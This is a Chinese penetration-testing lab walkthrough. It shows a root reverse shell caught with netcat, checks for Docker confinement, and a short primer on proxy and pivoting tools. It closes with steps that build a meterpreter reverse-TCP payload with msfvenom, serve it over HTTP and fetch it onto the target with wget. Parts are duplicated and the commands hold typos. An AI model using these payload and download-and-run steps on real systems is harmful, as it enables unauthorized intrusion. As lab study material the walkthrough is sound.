最终得到响应的反射 shell 结果,从此处我们就可以控制 192.168.56.101
这台机器了,并且有 root 级别权限
┌──(kali?kali)-[~]└─$ netcat -lnvp 23333listening on [any] 23333 ...connect to [192.168.56.103] from (UNKNOWN) [192.168.56.101] 36933/app # lsDockerfilemain.pyrequirements.txttemplates/app # iduid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
但我们还需要进一步深入探索,排除是否处在容器或蜜罐陷阱中
内网渗透挖掘潜在价值首先探索一下目录内容,查看是否有什么特别的
┌──(kali?kali)-[~]└─$ netcat -lnvp 23333listening on [any] 23333 ...connect to [192.168.56.103] from (UNKNOWN) [192.168.56.101] 36933/app # lsDockerfilemain.pyrequirements.txttemplates/app # iduid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)/app # cat ./Dockerfile#docker build -t socnet .#docker run -td --rm -p 8080:8080 socnetFROM python:2.7-alpineCOPY . /appWORKDIR /appRUN pip install -r requirements.txtCMD ["python", "/app/main.py"]
发现其中有 Dockerfile 文件,查看里面的 发现我们可能处在容器中
- 查看根目录中是否存在
.dockerenv
文件 - 查看
/proc/1/cgroup
中的内容是否大量与 docker 有关
/app # ls /.dockerenv/.dockerenv/app # cat /proc/1/cgroup11:hugetlb:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca10:perf_event:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca9:blkio:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca8:freezer:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca7:devices:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca6:memory:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca5:cpuacct:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca4:cpu:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca3:cpuset:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca2:name=systemd:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
自此已经有相当大的把握确定我们处在容器中服务代理内网流量代理
- 正向代理 (Forward Proxy) 通常应用在目标有防火墙或者不出网,我们能访问它的情况下:
Client-> proxy-> Target
- 反向代理 (Reverse Proxy) 通常应用在目标有防火墙或者不允许外界访问,但是它们能访问我们的情况下:
Client <--> proxy <--> firewall <--> Target
- SOCKS4: 支持TELNET、FTPHTTP等TCP协议
- SOCKS5: 支持TCP与UDP,并支持安全认证方案
- 端口转发工具:NC, LCX, regGorg, venom, ngrock ...
- 代理链工具:proxychains(Linux), proxifier(windows) ...
sudo apt-get install metasploit-framework
- 首页使用
msfvenom
生成linux/x64/meterpreter/reverse_tcp
模块的木马
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.56.103 lpost=4444 -f elf -o s.elf
- 上传生成的木马 shell.elf 通过在本地当前目录【shell.elf 所在的目录】使用
python3 -m http.server 80
挂起一个 HTTP 服务
- 在目标容器系统中使用
wget
命令 [wget httlp://kali的ip地址/shell.elf] 下载本地的 shell.elf 之后使用 ls 命令确认其存在
- 在 kali 上使用
msfconsole
命令后执行下列代码经验总结扩展阅读